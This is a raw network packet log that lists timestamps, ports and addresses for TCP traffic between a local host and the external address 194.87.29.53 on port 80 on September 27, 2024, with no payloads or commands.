Sep 27, 2024 18:29:03.049205065 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049289942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049299955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049309969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049323082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049333096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049343109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049346924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049355984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049365997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049369097 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049377918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049403906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049423933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049837112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049848080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049858093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049875021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049885035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049894094 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049900055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049907923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049918890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049927950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049936056 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049937963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049948931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049959898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049964905 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.049971104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049983025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049993038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.049994946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.050004005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050015926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050018072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.050025940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050036907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050040007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.050046921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050059080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050064087 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.050086975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.050110102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.050770998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050781012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050791025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050800085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050812006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050822020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050836086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.050836086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050848007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050858974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050868988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050879955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050879955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.050889969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050900936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050909996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.050913095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050926924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050934076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.050939083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050950050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050960064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.050961018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.050981045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.051004887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.083761930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.083796024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.083807945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.083842039 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.083868980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.083903074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.083914995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.083925962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.083936930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.083966017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.083986044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084050894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084062099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084073067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084111929 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084124088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084131956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084136009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084146023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084156990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084167004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084168911 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084177971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084197044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084232092 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084455967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084470034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084506989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084572077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084584951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084594011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084604025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084619999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084670067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084851027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084861994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084872007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084882021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084892035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084897041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084903955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084916115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084924936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084934950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084935904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084945917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084956884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.084975958 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.084990978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.085153103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.085201025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.098323107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098334074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098345995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098373890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.098388910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.098412037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098423958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098436117 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098458052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.098490953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.098572016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098582983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098592997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098603964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098618031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.098643064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.098886967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098898888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098908901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098920107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098927975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.098932028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098942995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098956108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.098969936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.098999977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.099006891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.099061966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.099073887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.099200010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.099200010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.154768944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.154819012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.154831886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.154891014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.154901028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.154912949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.154942989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.154983997 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.154983997 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155061960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155073881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155085087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155096054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155128956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155158043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155215025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155226946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155283928 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155327082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155338049 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155349016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155360937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155373096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155389071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155390978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155400991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155412912 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155414104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155425072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155461073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155653000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155663967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155674934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155710936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155726910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155791998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155802965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155813932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155824900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155834913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155842066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155848980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155859947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155870914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155880928 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155880928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155894041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.155901909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155924082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.155941010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.156400919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156413078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156423092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156434059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156444073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156455040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156461000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.156475067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156485081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156491041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156492949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.156501055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156512976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156517982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.156524897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156536102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156547070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.156555891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.156590939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.157062054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.157073975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.157083988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.157094955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.157110929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.157119036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.157123089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.157138109 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.157140017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.157170057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.157182932 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.214777946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.214790106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.214802027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.214884996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.214898109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.214905024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.214947939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.214977026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.214988947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.214998007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215027094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.215028048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215039968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215050936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.215085983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.215161085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215172052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215182066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215193033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215204000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215209007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.215215921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215248108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.215282917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.215452909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215464115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215475082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215486050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215497971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215504885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.215509892 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.215540886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.215564013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.237997055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.238035917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.242852926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.242876053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.242923975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.242933035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.242944002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.884057999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.884140015 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.965064049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.965087891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.970163107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.970185995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.970194101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:04.389799118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:04.389986038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:04.403291941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:04.408124924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:04.601887941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:04.601993084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:04.902266026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:04.907154083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.096376896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.096470118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.250125885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.255177021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.509862900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.509879112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.509888887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.509967089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.509977102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.509987116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.509994984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510025978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510036945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510036945 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510047913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510059118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510068893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510070086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510117054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510142088 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510157108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510168076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510204077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510217905 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510246992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510257959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510267019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510277987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510288000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510293961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510298014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510308981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510318041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510355949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510380030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510576010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510591984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510601997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510611057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510623932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510631084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510639906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510643005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510654926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510664940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.510674000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.510674953 CEST	80	60865	194.87.29.53	192.168.2.4
